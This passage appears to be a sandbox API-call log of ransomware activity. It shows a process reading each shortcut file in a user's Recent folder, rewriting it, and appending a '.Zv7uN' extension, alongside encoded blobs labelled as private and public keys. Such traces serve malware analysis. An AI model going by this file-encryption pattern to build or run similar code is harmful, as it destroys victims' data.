Oww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.418] GetCurrentThreadId () returned 0xa30 [0081.418] GetCurrentThreadId () returned 0xa30 [0081.418] GetCurrentThreadId () returned 0xa30 [0081.418] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fmpsaqjlumar.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x13b9 [0081.418] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.418] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x13b9, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x13b9, lpOverlapped=0x0) returned 1 [0081.420] CloseHandle (hObject=0x124) returned 1 [0081.420] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fmpsaqjlumar.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.422] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x13b9, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x13b9, lpOverlapped=0x0) returned 1 [0081.424] CloseHandle (hObject=0x124) returned 1 [0081.428] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fmpsaqjlumar.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\FmpsaQJLUMaR.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\fmpsaqjlumar.lnk.zv7un")) returned 1 [0081.430] GetCurrentThreadId () returned 0xa30 [0081.430] GetCurrentThreadId () returned 0xa30 [0081.430] GetCurrentThreadId () returned 0xa30 [0081.430] GetCurrentThreadId () returned 0xa30 [0081.430] GetCurrentThreadId () returned 0xa30 [0081.430] GetCurrentThreadId () returned 0xa30 [0081.430] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f42200, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0f42200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0f42200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf40, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="g5f gdHlfXDDwn2eSSD.lnk", cAlternateFileName="G5FGDH~1.LNK")) returned 1 [0081.430] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.430] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f gdhlfxddwn2essd.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f42200, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe0f42200, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe0f42200, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf40)) returned 1 [0081.430] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f gdhlfxddwn2essd.lnk")) returned 0x20 [0081.431] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk", dwFileAttributes=0x80) returned 1 [0081.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.435] GetCurrentThreadId () returned 0xa30 [0081.435] GetCurrentThreadId () returned 0xa30 [0081.435] GetCurrentThreadId () returned 0xa30 [0081.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.436] GetCurrentThreadId () returned 0xa30 [0081.436] GetCurrentThreadId () returned 0xa30 [0081.436] GetCurrentThreadId () returned 0xa30 [0081.436] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f gdhlfxddwn2essd.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.436] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.436] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.436] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xf40 [0081.436] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.436] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xf40, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xf40, lpOverlapped=0x0) returned 1 [0081.438] CloseHandle (hObject=0x124) returned 1 [0081.438] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f gdhlfxddwn2essd.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.440] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xf40, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xf40, lpOverlapped=0x0) returned 1 [0081.441] CloseHandle (hObject=0x124) returned 1 [0081.444] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f gdhlfxddwn2essd.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\g5f gdHlfXDDwn2eSSD.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\g5f gdhlfxddwn2essd.lnk.zv7un")) returned 1 [0081.446] GetCurrentThreadId () returned 0xa30 [0081.446] GetCurrentThreadId () returned 0xa30 [0081.446] GetCurrentThreadId () returned 0xa30 [0081.446] GetCurrentThreadId () returned 0xa30 [0081.446] GetCurrentThreadId () returned 0xa30 [0081.446] GetCurrentThreadId () returned 0xa30 [0081.446] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d678a40, ftCreationTime.dwHighDateTime=0x1d622f5, ftLastAccessTime.dwLowDateTime=0x3d678a40, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x3d678a40, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="gfNfTbYK35b.lnk", cAlternateFileName="GFNFTB~1.LNK")) returned 1 [0081.446] 